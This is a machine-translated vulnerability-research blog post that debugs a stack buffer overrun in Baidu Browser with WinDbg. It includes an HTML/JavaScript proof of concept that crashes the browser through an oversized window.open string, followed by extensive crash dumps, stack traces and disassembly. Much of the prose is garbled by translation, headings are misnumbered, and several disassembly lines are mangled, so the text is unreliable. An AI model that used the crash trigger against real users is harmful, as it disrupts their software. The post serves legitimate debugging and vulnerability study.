Blast, 2014/03/10 truly

0 x00 introduction


Let me carefully introduce @ sleepy dragon, so I took the previous articles drops.wooyun.org/papers/1020 section proposed separately, before baidu browser version 5.0 book window stack overflow the version of the program I have not find it, Finding the closest version fixes only one stack space problem, which I’ll leave behind in the post-mortem.

Earlier versions I found, such as version 4.5, had similar memory corruption effects to 5.x, with the same crash logic and location. The fact that I mentioned in the 5.x report that “lower versions of programs are moved to higher versions without testing” was the main reason for this problem to continue for centuries.

Of course, here is my evening hours (mouth) test (hu), because of the home computer WDK has been the failure, not so the latest science and technology, only a very old version of windbg, some places still have some questions, so I’ll stick to a little before the data in the draft, but I’m sure this has no effect on the results. There is also because the code at work adjusted a little, after work home to continue to adjust the back (I am a new routine), so there may be some divine inference name speculation and super story development of things, please forgive me.

Because the code is so long, I mark what I’m doing and what I’m trying to achieve appropriately, so if you see something in bold black that doesn’t make sense, that’s definitely my comment. In addition, because the windbg to stick the code itself is really complicated, so I won’t she explains, I will introduce function directly in what, and because the level of personal slag, write fail many times, so that I had a presentiment unavoidably cause problems, this also please forgive me, you found the wrong words please paste I bear face!

0x01 Basic Requirements


A debugger is necessary, since it involves debugging after the fact and debugging on the spot, I use WinDBG. Since the target program is 32-bit, I chose the x86 version of WinDBG. The operating system is Windows 7 SP1 simplified Chinese version, which is said to be OEM but looks like a pirated system.

Then there are a few basic commands, t step, P step, GU execute to return, DD view Dword, DA view ANSI, K display call stack, POI extraction pointer, etc., encountered new unknown species, winDBG F1 inside the introduction is very detailed.

0x02 Simple Post-mortem (Introduction)


After the fact, let’s use baidu browser 5.0 when a Stack Buffer Overrun caused by the Overrun of memory, POC is still there, so start.

0 x02a began

First, we can confirm that our POC can cause the program to crash, and usually our target program will also have a dump file, for example:



Photo: Usually in%temp%There may be a crash file under, or there may be%appdata%Under the

Open windbg, load dump file, do simple! Analyze – v. The following information is displayed:

#! bash The stored exception information can be accessed via .ecxr. (51fc.a978): Stack overflow - code c00000fd (first/second chance not available) eax=00000000 ebx=00000000 ecx=0046700c edx=0061e3e4 esi=000002a8 edi=00000000 eip=77a0f8d1 esp=0061bbe0 ebp=0061bc4c iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 ntdll! NtWaitForSingleObject+0x15: 77a0f8d1 83c404 add esp,4 0:000> ! analyze -v ******************************************************************************* * * * Exception Analysis * * * ******************************************************************************* FAULTING_IP: browsercore+dbda7 033fbda7 8500 test dword ptr [eax],eax EXCEPTION_RECORD: ffffffff -- (.exr 0xffffffffffffffff) ExceptionAddress: 033fbda7 (browsercore+0x000dbda7) ExceptionCode: c00000fd (Stack overflow) ExceptionFlags: 00000000 NumberParameters: 2 Parameter[0]: 00000000 Parameter[1]: 00522000 PROCESS_NAME: baidubrowser.exe ERROR_CODE: (NTSTATUS) 0xc00000fd - <Unable to get error code text> EXCEPTION_CODE: (NTSTATUS) 0xc00000fd - <Unable to get error code text> EXCEPTION_PARAMETER1: 00000000 EXCEPTION_PARAMETER2: 00522000 NTGLOBALFLAG: 0 FAULTING_THREAD: 0000a978 DEFAULT_BUCKET_ID: STACK_OVERFLOW PRIMARY_PROBLEM_CLASS: STACK_OVERFLOW BUGCHECK_STR: APPLICATION_FAULT_STACK_OVERFLOW_INVALID_POINTER_READ LAST_CONTROL_TRANSFER: from 045b7a85 to 033fbda7 STACK_TEXT: WARNING: Stack unwind information not available. Following frames may be wrong. 0061e2a8 045b7a85 0061e3e4 0061e634 00000001 browsercore+0xdbda7 0061e2c4 0337100c 0061e3e4 0061e634 0061e7f4 browsercore+0x1297a85 0061e620 03333292 0061e7f4 00000000 00000000 browsercore + 0 x5100c... (omitted) 0061FE88 001E63BF 00100000 00000000 00352318 baiduBrowser + 0x65DA 0061FF18 7703336a 7efde000 0061FF64 77a29f72 baidubrowser+0xe63bf 0061ff24 77a29f72 7efde000 2a534886 00000000 kernel32! BaseThreadInitThunk+0xe 0061ff64 77a29f45 001e6412 7efde000 00000000 ntdll! __RtlUserThreadStart+0x70 0061ff7c 00000000 001e6412 7efde000 00000000 ntdll! _RtlUserThreadStart+0x1b STACK_COMMAND: ~0s; .ecxr ; kb FOLLOWUP_IP: browsercore+dbda7 033fbda7 8500 test dword ptr [eax],eax SYMBOL_STACK_INDEX: 0 SYMBOL_NAME: browsercore+dbda7 FOLLOWUP_NAME: MachineOwner MODULE_NAME: browsercore IMAGE_NAME: browsercore.dll DEBUG_FLR_IMAGE_TIMESTAMP: 526f3e67 FAILURE_BUCKET_ID: STACK_OVERFLOW_c00000fd_browsercore.dll! Unknown BUCKET_ID: APPLICATION_FAULT_STACK_OVERFLOW_INVALID_POINTER_READ_browsercore+dbda7 WATSON_IBUCKET: 2118667 WATSON_IBUCKETTABLE: 17 WATSON_STAGEONE_URL: http://watson.microsoft.com/StageOne/baidubrowser_exe/2_210_0_42889/526f3e61/browsercore_dll/10_0_0_17/526f3e67/c00000fd /000dbda7.htm?Retriage=1 Followup: MachineOwner ---------Copy the code

We can get a lot of important information from the above:

Such as the top layer of the call stack, BUCKET information (classification vulnerability), the error location, the error statement, it does not have a handler for the exception, etc., and the most important information: we do not have a symbol for it, fuck.

0x01B View data near crash

Fortunately, it didn’t do anything else, so we can look at the code near Faulting IP to see why it crashed.

#! bash FAULTING_IP: browsercore+dbda7 033fbda7 8500 test dword ptr [eax],eaxCopy the code

perform

#! bash uf browsercore+dbda7Copy the code

Get:

#! bash 0:000> uf browsercore+dbda7 Unable to load image C:\Program Files (x86)\baidu\BaiduBrowser\browsercore.dll, Win32 error 0n2 *** WARNING: Unable to verify timestamp for browsercore.dll *** ERROR: Module load completed but symbols could not be loaded for browsercore.dll browsercore+0xdbd94: 033fbd94 3bc8 cmp ecx,eax 033fbd96 720a jb browsercore+0xdbda2 (033fbda2) browsercore+0xdbd98: 033fbd98 8bc1 mov eax,ecx 033fbd9a 59 pop ecx 033fbd9b 94 xchg eax,esp 033fbd9c 8b00 mov eax,dword ptr [eax] 033fbd9e 890424 mov dword ptr [esp],eax 033fbda1 c3 ret browsercore+0xdbda2: 033fbda2 2d00100000 sub eAX,1000h Browsercore + 0xDBDA7:033fbda7 8500 test dword PTR [eAX], eAX; Crash here 033fbda9 ebe9 JMP Browsercore + 0xDBD94 (033fbd94)Copy the code

But what is this? Why does it look so much like __alloca_Probe’s validation code? Compare that to the actual \__alloca_probe.

#! bash __alloca_probe: push ecx cmp eax,1000h lea ecx,[esp+8] jb lastpage probepages: sub ecx,1000h sub eax,1000h test dword ptr [ecx],eax cmp eax,1000h jae probepages lastpage: sub ecx,eax mov eax,esp test dword ptr [ecx],eax mov esp,ecx mov ecx,dword ptr [eax] mov eax,dword ptr [eax+4] push eax RetCopy the code

Crashed on the last stack check. To see the complete call stack, use ~* KVN to see the call stack for all threads:

#! bash 0:000> ~*kvn . 0 Id: 51fc.a978 Suspend: 0 Teb: 7efdd000 Unfrozen # ChildEBP RetAddr Args to Child 00 0061bbe0 76fa149d 000002a8 00000000 00000000 ntdll! NtWaitForSingleObject+0x15 (FPO: [3,0,0]) 01 0061bc4c 77031194 000002a8 FFFFFFFF 00000000 KERNELBASE! WaitForSingleObjectEx+0x98 (FPO: [SEH]) 02 0061bc64 77031148 000002a8 ffffffff 00000000 kernel32! ,0,4 WaitForSingleObjectExImplementation + 0 x75 (FPO: [3]) 03 0061 bc78 001056 c7 000002 a8 FFFFFFFF 006 e9948 kernel32! WaitForSingleObject + 0 x12 (FPO: [0, 2) WARNING: Stack unwind information not available. Following frames may be wrong. 04 0061dd78 00105467 ac68c25f 0010542d 7710030c baidubrowser+0x56c7 05 0061dda0 7706fffb 0061de58 ac7abd84 00000000 baidubrowser+0x5467 06 0061de28 77a674ff 0061de58 77a673dc 00000000 kernel32! UnhandledExceptionFilter+0x127 (FPO: [SEH]) 07 0061de30 77a673dc 00000000 0061ff64 77a1c550 ntdll! __RtlUserThreadStart+0x62 (FPO: [SEH]) 08 0061de44 77a67281 00000000 00000000 00000000 ntdll! _EH4_CallFilterFunc+0x12 (FPO: [Uses EBP] [0,0,4]) 09 0061de6c 77a4b499 fffffffe 0061ff54 0061dfa8 NTDLL! _except_handler4+0x8e (FPO: [4,5,4]) 0a 0061de90 77a4b46b 0061df58 0061ff54 0061dfa8 NTDLL! ExecuteHandler2+0x26 (FPO: [Uses EBP] [5,3,1]) 0b 0061deb4 77a4b40e 0061df58 0061ff54 0061dfa8 NTDLL! ExecuteHandler+0x24 (FPO: [5,0,3]) 0c 0061df40 77a00133 0061df58 0061dfa8 0061df58 NTDLL! RtlDispatchException+0x127 (FPO: [2,25,4]) 0d 0061df40 033fbda7 0061df58 0061dfa8 0061df58 NTDLL! KiUserExceptionDispatcher+0xf (FPO: [2,0,0]) (CONTEXT @0061dfa8) 0e 0061e2a8 045b7a85 0061e3e4 0061e634 00000001 browsercore+0xdbda7 0f 0061e2c4 0337100c 0061e3e4 0061e634 0061e7f4 browsercore+0x1297a85 10 0061e620 03333292 0061e7f4 00000000 00000000 browsercore+0x5100c 11 0061e814 048b515c 0061e82c fffffffa 00000200 browsercore+0x13292 12 0061e854 03334634 02ec7d94 02ec2780 02ec2780 browsercore+0x159515c 13 0061e974 046e67c9 02ec7d94 02ec7d94 02e63c30 browsercore+0x14634 1 Id: 51fc.9920 Suspend: 1 Teb: 7efda000 Unfrozen # ChildEBP RetAddr Args to Child 00 02aff61c 76fa15e9 00000003 02aff66c 00000001 ntdll! ZwWaitForMultipleObjects+0x15 (FPO: [5,0,0]) 01 02aff6b8 770319fc 02aff66c 02aff6e0 00000000 KERNELBASE! WaitForMultipleObjectsEx+0x100 (FPO: [SEH]) 02 02aff700 770341d8 00000003 7efde000 00000000 kernel32! WaitForMultipleObjectsExImplementation + 0 xe0-0xfc (FPO:,8,4 [5])..................... blablablaCopy the code

Then we can be very happy to see:

#! bash 0:000> ~*kvn . 0 Id: 51fc.a978 Suspend: 0 Teb: 7efdd000 Unfrozen # ChildEBP RetAddr Args to Child 00 0061bbe0 76fa149d 000002a8 00000000 00000000 ntdll! NtWaitForSingleObject+0x15 (FPO: [3,0,0]) 01 0061bc4c 77031194 000002a8 FFFFFFFF 00000000 KERNELBASE! WaitForSingleObjectEx+0x98 (FPO: [SEH]) 02 0061bc64 77031148 000002a8 ffffffff 00000000 kernel32! ,0,4 WaitForSingleObjectExImplementation + 0 x75 (FPO: [3]) 03 0061 bc78 001056 c7 000002 a8 FFFFFFFF 006 e9948 kernel32! WaitForSingleObject + 0 x12 (FPO: [0, 2) WARNING: Stack unwind information not available. Following frames may be wrong. 04 0061dd78 00105467 ac68c25f 0010542d 7710030c baidubrowser+0x56c7 05 0061dda0 7706fffb 0061de58 ac7abd84 00000000 baidubrowser+0x5467 06 0061de28 77a674ff 0061de58 77a673dc 00000000 kernel32! UnhandledExceptionFilter+0x127 (FPO: [SEH]) 07 0061de30 77a673dc 00000000 0061ff64 77a1c550 ntdll! __RtlUserThreadStart+0x62 (FPO: [SEH]) 08 0061de44 77a67281 00000000 00000000 00000000 ntdll! _EH4_CallFilterFunc+0x12 (FPO: [Uses EBP] [0,0,4]) 09 0061de6c 77a4b499 fffffffe 0061ff54 0061dfa8 NTDLL! _except_handler4+0x8e (FPO: [4,5,4]) 0a 0061de90 77a4b46b 0061df58 0061ff54 0061dfa8 NTDLL! ExecuteHandler2+0x26 (FPO: [Uses EBP] [5,3,1]) 0b 0061deb4 77a4b40e 0061df58 0061ff54 0061dfa8 NTDLL! ExecuteHandler+0x24 (FPO: [5,0,3]) 0c 0061df40 77a00133 0061df58 0061dfa8 0061df58 NTDLL! RtlDispatchException+0x127 (FPO: [2,25,4]) 0d 0061df40 033fbda7 0061df58 0061dfa8 0061df58 NTDLL! KiUserExceptionDispatcher+0xf (FPO: [2,0,0]) (CONTEXT @0061dfa8) 0e 0061e2a8 045b7a85 0061e3e4 0061e634 00000001 browsercore+0xdbda7 0f 0061e2c4 0337100c 0061e3e4 0061e634 0061e7f4 browsercore+0x1297a85Copy the code

Let’s see what its upper function does:

#! bash 0:000> uf 045b7a85 No code found, abortingCopy the code

There is no code in _alloca_probe, but there is only one truth. Yeah, the stuff on the stack got too big, bigger than the stack, bigger than the stack, so the stack quit, and it threw an exception.

This is just a little demo, we don’t have symbols, we don’t have code, but we do have PoC, and what we need is real time debugging, so let’s get to the point.

0x03 Real-time Debugging


The target program used below is Baidu browser V4.5, because our POC is simple and crude, in order to prevent the code from crashing as soon as it is loaded, we add an alert(1) before it crashes, give us and WinDBG a psychological preparation, so that the POC becomes the following:

#! html <script> var s="A"; var i=1; for(i=1; i<599559; i++) s+="A"; alert(1); window.open(s); </script>Copy the code

Start the browser, preferably by dragging the HTML onto the icon, so that we can find out which process is holding the HTML, as follows:



Photo: The eve of the storm

She’s big. Attach her,



Figure: This will find the PID

Find the PID of the corresponding process, Attach and then press G to make it run:

#!bash
(9df0.3724): Break instruction exception - code 80000003 (first chance)
eax=7ef42000 ebx=00000000 ecx=00000000 edx=77a8f8ea esi=00000000 edi=00000000
eip=77a0000c esp=0c52fe4c ebp=0c52fe78 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
ntdll!DbgBreakPoint:
77a0000c cc              int     3
0:034> g
……省略
STATUS_STACK_BUFFER_OVERRUN encountered
(9df0.3500): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=55b23f30 ecx=77070174 edx=0653d16d esi=00000000 edi=001b7281
eip=7706ff55 esp=0653d3b4 ebp=0653d430 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
kernel32!UnhandledExceptionFilter+0x5f:
7706ff55 cc              int     3
Copy the code

The program crashes. Let’s see what happens. KVN

#! bash 0:006> kvn *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\baidu\BaiduBrowser\bdlogicmain.dll - # ChildEBP RetAddr Args to Child 00 0653d430 55a57789 55b23f30 34bb28ee cb44d711 kernel32! UnhandledExceptionFilter+0x5f (FPO: [SEH]) WARNING: Stack unwind information not available. Following frames may be wrong. 01 0653d764 5580757b 001b7281 656c6966 00000000 bdlogicmain! BrowserLogicInit+0x198229 02 0653f500 55a4b5f4 0f1a0020 12960020 001b7281 bdlogicmain+0x757b 03 0653f5b8 559f51a6 12700020 0653f5e4 11bef338 bdlogicmain! BrowserLogicInit+0x18c094 04 0653f5fc 558c5b95 12700020 0653f640 559b4105 bdlogicmain! BrowserLogicInit+0x135c46 05 0653f608 559b4105 062b2a1c 559f5040 00000000 bdlogicmain! BrowserLogicInit+0x6635 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\baidu\BaiduBrowser\bdcommon.dll -  06 0653f640 653d18ec 0eed1240 0653f688 653d1b77 bdlogicmain! BrowserLogicInit+0xf4ba5 07 0653f64c 653d1b77 0653f664 00f7cac9 03329ce0 bdcommon! Util::Help::GetMimeTypeByExt+0x314a 08 0653f688 653cf6a9 ffffffff 00000000 03329ce0 bdcommon! Util::Help::GetMimeTypeByExt+0x33d5 09 0653f6ac 653ceb15 00000001 03329bb0 03329bb0 bdcommon! Util::Help::GetMimeTypeByExt+0xf07 0a 0653f6cc 653cf0f7 03329bb0 00000000 00000001 bdcommon! Util::Help::GetMimeTypeByExt+0x373 0b 0653f6e0 653cefcd 03329bb0 03329bb0 653cf8d5 bdcommon! Util::Help::GetMimeTypeByExt+0x955 0c 0653f724 653cfe36 0653f798 653d2576 03329bb0 bdcommon! Util::Help::GetMimeTypeByExt+0x82b 0d 0653f72c 653d2576 03329bb0 c5a8d143 00000000 bdcommon! Util::Help::GetMimeTypeByExt+0x1694 0e 0653f798 653d2a0c 0653f7d8 653dc835 032cdeb8 bdcommon! Util::Help::GetMimeTypeByExt+0x3dd4 0f 0653f7a0 653dc835 032cdeb8 c5a8d103 00000000 bdcommon! Util::Help::GetMimeTypeByExt+0x426a 10 0653f7d8 653dc8bf 00000000 0653f7f0 7703336a bdcommon! Util::Common::Timer::EraseTimerCallback+0x5b6b 11 0653f7e4 7703336a 03329bb0 0653f830 77a29f72 bdcommon! Util::Common::Timer::EraseTimerCallback+0x5bf5 12 0653f7f0 77a29f72 03329bb0 2c33d9fc 00000000 kernel32! BaseThreadInitThunk+0xe (FPO: [1,0,0]) 13 0653f830 77a29f45 653dc85b 03329bb0 00000000 NTDLL! __RtlUserThreadStart+0x70 (FPO: [SEH])Copy the code

The following behavior is used to locate the context to the code where we failed, not inside Kernel32

And then, since we’re inside the UnhandledExceptionFilter, we look at the error message,

#! bash # ChildEBP RetAddr Args to Child 00 0653d430 55a57789 55b23f30 34bb28ee cb44d711 kernel32! UnhandledExceptionFilter+0x5f (FPO: [SEH])Copy the code

UnhandledExceptionFilter this function is defined as (MSDN, of course, is our good helper). :

#! bash LONG WINAPI UnhandledExceptionFilter( _In_ struct _EXCEPTION_POINTERS *ExceptionInfo );Copy the code

The first parameter must point to _EXCEPTION_POINTERS, which is defined as follows:

#! bash typedef struct _EXCEPTION_POINTERS { PEXCEPTION_RECORD ExceptionRecord; PCONTEXT ContextRecord; } EXCEPTION_POINTERS, *PEXCEPTION_POINTERS;Copy the code

And that’s what we need, so let’s first look at where is this structure

#! bash 0:006> dt _EXCEPTION_POINTERS 55b23f30 ATL80! _EXCEPTION_POINTERS +0x000 ExceptionRecord : 0x55bb98a0 _EXCEPTION_RECORD +0x004 ContextRecord : 0x55bb98f8 _CONTEXTCopy the code

Then, we look at the exception information

#! bash 0:006> .exr 0x55bb98a0 ExceptionAddress: 5580757b (bdlogicmain+0x0000757b) ExceptionCode: c0000409 (Stack buffer overflow) ExceptionFlags: 00000001 NumberParameters: 0Copy the code

Setting the Exception Context

#! bash 0:006> .cxr 0x55bb98f8 eax=00000000 ebx=0f1a0020 ecx=34bb2841 edx=00414141 esi=12960020 edi=001b7281 eip=5580757b esp=0653d76c ebp=0653f500 iopl=0 nv up ei pl nz ac pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000216 bdlogicmain+0x757b: 5580757b 8be5 mov esp,ebpCopy the code

Our exception context has now been corrected as above.

Let’s go back again:

#! bash 0:006> kvn *** Stack trace for last set context - .thread/.cxr resets it # ChildEBP RetAddr Args to Child WARNING: Stack unwind information not available. Following frames may be wrong. 00 0653f500 55a4b5f4 0f1a0020 12960020 001b7281 bdlogicmain+0x757b 01 0653f5b8 559f51a6 12700020 0653f5e4 11bef338 bdlogicmain! BrowserLogicInit+0x18c094 02 0653f5fc 558c5b95 12700020 0653f640 559b4105 bdlogicmain! BrowserLogicInit+0x135c46 03 0653f608 559b4105 062b2a1c 559f5040 00000000 bdlogicmain! BrowserLogicInit+0x6635 04 0653f640 653d18ec 0eed1240 0653f688 653d1b77 bdlogicmain! BrowserLogicInit+0xf4ba5 05 0653f64c 653d1b77 0653f664 00f7cac9 03329ce0 bdcommon! Util::Help::GetMimeTypeByExt+0x314a 06 0653f688 653cf6a9 ffffffff 00000000 03329ce0 bdcommon! Util::Help::GetMimeTypeByExt+0x33d5 07 0653f6ac 653ceb15 00000001 03329bb0 03329bb0 bdcommon! Util::Help::GetMimeTypeByExt+0xf07 08 0653f6cc 653cf0f7 03329bb0 00000000 00000001 bdcommon! Util::Help::GetMimeTypeByExt+0x373 09 0653f6e0 653cefcd 03329bb0 03329bb0 653cf8d5 bdcommon! Util::Help::GetMimeTypeByExt+0x955 0a 0653f724 653cfe36 0653f798 653d2576 03329bb0 bdcommon! Util::Help::GetMimeTypeByExt+0x82b 0b 0653f72c 653d2576 03329bb0 c5a8d143 00000000 bdcommon! Util::Help::GetMimeTypeByExt+0x1694 0c 0653f798 653d2a0c 0653f7d8 653dc835 032cdeb8 bdcommon! Util::Help::GetMimeTypeByExt+0x3dd4 0d 0653f7a0 653dc835 032cdeb8 c5a8d103 00000000 bdcommon! Util::Help::GetMimeTypeByExt+0x426a 0e 0653f7d8 653dc8bf 00000000 0653f7f0 7703336a bdcommon! Util::Common::Timer::EraseTimerCallback+0x5b6b 0f 0653f7e4 7703336a 03329bb0 0653f830 77a29f72 bdcommon! Util::Common::Timer::EraseTimerCallback+0x5bf5 10 0653f7f0 77a29f72 03329bb0 2c33d9fc 00000000 kernel32! BaseThreadInitThunk+0xe (FPO: [1,0,0]) 11 0653f830 77a29f45 653dc85b 03329bb0 00000000 NTDLL! __RtlUserThreadStart+0x70 (FPO: [SEH]) 12 0653f848 00000000 653dc85b 03329bb0 00000000 ntdll! _RtlUserThreadStart + 0 x1b (FPO: [0] 2)Copy the code

Now that it looks more comfortable, we can clearly see the crash location code as follows:

#! bash 0:006> ub bdlogicmain+0x757b bdlogicmain+0x7565: 55807565 8b4dfc mov ecx,dword ptr [ebp-4] 55807568 83c40c add esp,0Ch 5580756b c6441eff00 mov byte ptr [esi+ebx-1],0 55807570 5e pop esi 55807571 33cd xor ecx,ebp 55807573 33c0 xor eax,eax 55807575 5b pop ebx 55807576 e823f82400 call bdlogicmain! BrowserLogicInit+0x19783e (55a56d9e); After the collapseCopy the code

Once you have found the crash point, read the main program code to understand the cause of the crash

Simple calculation shows that bdLogicMain +0x7576 is our target, so let’s see how the program crashes here.

Exit the program, reopen the main program, Attach directly, then bp bdLogicMain +0x7576:

#! bash (a6c.8b4): Break instruction exception - code 80000003 (first chance) eax=7ef4b000 ebx=00000000 ecx=00000000 edx=77abf8ea esi=00000000 edi=00000000 eip=77a3000c esp=0abafe40 ebp=0abafe6c iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 ntdll! DbgBreakPoint: 77a3000c cc int 3 0:031> bp bdlogicmain+0x7576 breakpoint 0 redefined 0:031> bl 0 e 62067576 0001 (0001) 0:**** bdlogicmain+0x7576 0:031> gCopy the code

After loading the PoC, stop at:

#! bash Breakpoint 0 hit eax=00000000 ebx=0bcd0020 ecx=d8dfe9d1 edx=00414141 esi=28920020 edi=001b7278 eip=62067576 esp=002fc6fc ebp=002fe490 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246 bdlogicmain+0x7576: 62067576 e823f82400 call bdlogicmain! BrowserLogicInit+0x19783e (622b6d9e)Copy the code

As we continue, we can see that the IsDebuggerPresentStub checks to see if there is an IsDebuggerPresentStub and throws an exception. This function should be used to handle exceptions.

#! bash 0:000> eax=27201628 ebx=0bcd0020 ecx=d8dfe9d1 edx=00414141 esi=28920020 edi=001b7278 eip=622b7763 esp=002fc3cc ebp=002fc6f4 iopl=0 nv up ei pl nz ac pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200216 bdlogicmain! BrowserLogicInit+0x198203: 622b7763 ff150cf12e62 call dword ptr [bdlogicmain!BrowserLogicInit+0x1cfbac (622ef10c)] ds:002b:622ef10c={kernel32! IsDebuggerPresentStub (756249fd)} 0:000> eax=27201628 ebx=0bcd0020 ecx=d8dfe9d1 edx=00414141 esi=28920020 edi=001b7278 eip=756249fd esp=002fc3c8 ebp=002fc6f4 iopl=0 nv up ei pl nz ac pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200216 kernel32! IsDebuggerPresentStub: 756249fd eb05 jmp kernel32! IsDebuggerPresent (75624a04) 0:000> k ChildEBP RetAddr 002fc3c4 622b7769 kernel32! IsDebuggerPresentStub WARNING: Stack unwind information not available. Following frames may be wrong. 002fc6f4 6206757b bdlogicmain! BrowserLogicInit+0x198209 002fe490 622aeb21 bdlogicmain+0x757bCopy the code

So what code is around bdLogicMain +0x7576? Since exceptions are handled here, there must have been a problem somewhere before, so let’s use uf to look at the code:

#! bash bdlogicmain+0x7550: 62067550 8bb56ce2ffff mov esi,dword ptr [ebp-1D94h] 62067556 56 push esi 62067557 8d95fcefffff lea edx,[ebp-1004h] 6206755d 52 push edx 6206755e 53 push ebx 6206755f ff15c4f42e62 call dword ptr [bdlogicmain! BrowserLogicInit+0x1cff64 (622ef4c4)] 62067565 8b4dfc mov ecx,dword ptr [ebp-4] 62067568 83c40c add esp,0Ch 6206756b c6441eff00 mov byte ptr [esi+ebx-1],0 62067570 5e pop esi 62067571 33cd xor ecx,ebp 62067573 33c0 xor eax,eax 62067575 5b pop ebx 62067576 e823f82400 call bdlogicmain! BrowserLogicInit + 0 x19783e b6d9e (622); fails here 6206757b 8be5 mov esp,ebp 6206757d 5d pop ebp 6206757e c3 retCopy the code

It looks like this function will eventually be used to detect Security cookies. Let’s compare other Security Cookie processing calls:

#! bash mov ecx, [ebp+SOMETHING] ; get the adjusted cookie. xor ecx, ebp ; un-adjust it, since ; ((N xor X) xor X) == N. call @__sec_check_cookie ; check the cookie.Copy the code

Not intuitive? See the result of compiling any C++ program:

#! bash .text:004010D4 mov ecx, [ebp+var_4] .text:004010D7 xor ecx, ebp .text:004010D9 xor eax, eax .text:004010DB pop esi .text:004010DC call @[email protected]; __security_check_cookie (x); Compare that to other programs, __security_check_cookie failed. Text :004010E1 mov esp, ebp .text:004010E3 pop ebp .text:004010E4 retn .text:004010E4 _wmain endpCopy the code

Ok, so here’s our first conclusion: Security Cookie validation failed.

We set a breakpoint a little before the function (except for the last Call of the Security cookie check) :

#! bash 0:030> bp bdlogicmain+0x7550 *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files (x86)\Baidu\BaiduBrowser\bdlogicmain.dll - 0:030> gCopy the code

Repeat the above steps to stop:

#! bash Breakpoint 0 hit eax=00000000 ebx=28a80020 ecx=4b8aa8e3 edx=00000420 esi=0038c220 edi=001b7278 eip=6c3e7550 esp=0038c214 ebp=0038dfb0 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246 bdlogicmain+0x7550: 6c3e7550 8bb56ce2ffff mov esi,dword ptr [ebp-1D94h] ss:002b:0038c21c=001b7278 0:000> u bdlogicmain+0x7550: 6c3e7550 8bb56ce2ffff mov esi,dword ptr [ebp-1D94h] 6c3e7556 56 push esi 6c3e7557 8d95fcefffff lea edx,[ebp-1004h] 6c3e755d 52 push edx 6c3e755e 53 push ebx 6c3e755f ff15c4f4666c call dword ptr [bdlogicmain! BrowserLogicInit+0x1cff64 (6c66f4c4)] 6c3e7565 8b4dfc mov ecx,dword ptr [ebp-4] 6c3e7568 83c40c add esp,0ChCopy the code

We can see that there is a function call that may take three arguments:

#! bash 6c3e7556 56 push esi 6c3e7557 8d95fcefffff lea edx,[ebp-1004h] 6c3e755d 52 push edx 6c3e755e 53 push ebx 6c3e755f ff15c4f4666c call dword ptr [bdlogicmain!BrowserLogicInit+0x1cff64 (6c66f4c4)]Copy the code

Since there is no sign, we have to t into:

#! bash 0:000> t eax=00000000 ebx=28a80020 ecx=4b8aa8e3 edx=00000420 esi=001b7278 edi=001b7278 eip=6c3e7556 esp=0038c214 ebp=0038dfb0 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246 bdlogicmain+0x7556: 6c3e7556 56 push esi 0:000> dd esi 001b7278 00000000Copy the code

It looks like the third argument is 0,

#! bash 0:000> t eax=00000000 ebx=28a80020 ecx=4b8aa8e3 edx=00000420 esi=001b7278 edi=001b7278 eip=6c3e7557 esp=0038c210 ebp=0038dfb0 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246 bdlogicmain+0x7557: 6c3e7557 8d95fcefffff lea edx,[ebp-1004h] 0:000> eax=00000000 ebx=28a80020 ecx=4b8aa8e3 edx=0038cfac esi=001b7278 edi=001b7278 eip=6c3e755d esp=0038c210 ebp=0038dfb0 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246 bdlogicmain+0x755d: 6c3e755d 52 push edx 0:000> dd edx 0038cfac 656c6966 2f2f2f3a 552f3a45 73726573 0038cfbc 616c422f 53547473 7365442f 706f746b 0038cfcc 4141412f 41414141 41414141 41414141 0038cfdc 41414141 41414141 41414141 41414141 0038cfec 41414141 41414141 41414141 41414141 0038cffc 41414141 41414141 41414141 41414141 0038d00c 41414141 41414141 41414141 41414141 0038d01c 41414141 41414141 41414141 41414141 0:000> t eax=00000000 ebx=28a80020 ecx=4b8aa8e3 edx=0038cfac esi=001b7278 edi=001b7278 eip=6c3e755e esp=0038c20c ebp=0038dfb0 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00200246 bdlogicmain+0x755e: 6c3e755e 53 push ebxCopy the code

The second argument, edx, now stores a pointer to our string, which is only 0x1004 bytes long.

Take a look at the first parameter, ebx, and here’s its information:

#! bash 0:000> ! address 28a80020 ProcessParametrs 007607f0 in range 00760000 00860000 Environment 09e98c48 in range 09e10000 0a210000 28a80000 : 28a80000 - 001b8000 Type 00020000 MEM_PRIVATE Protect 00000004 PAGE_READWRITE State 00001000 MEM_COMMIT Usage RegionUsageHeap Handle 07790000Copy the code

It points to an empty piece of memory, which should be newly claimed, with a pointer 0x20 bytes after the header.

#! bash 0:000> ? (28c38000-28a80000) Evaluate expression: 1802240 = 001b8000Copy the code

The available size of the memory heap is 1802,240 bytes.

Knowing all three parameters (1: ebx, a large buffer, 2: edx, pointer to our address, 3:0), keep going,

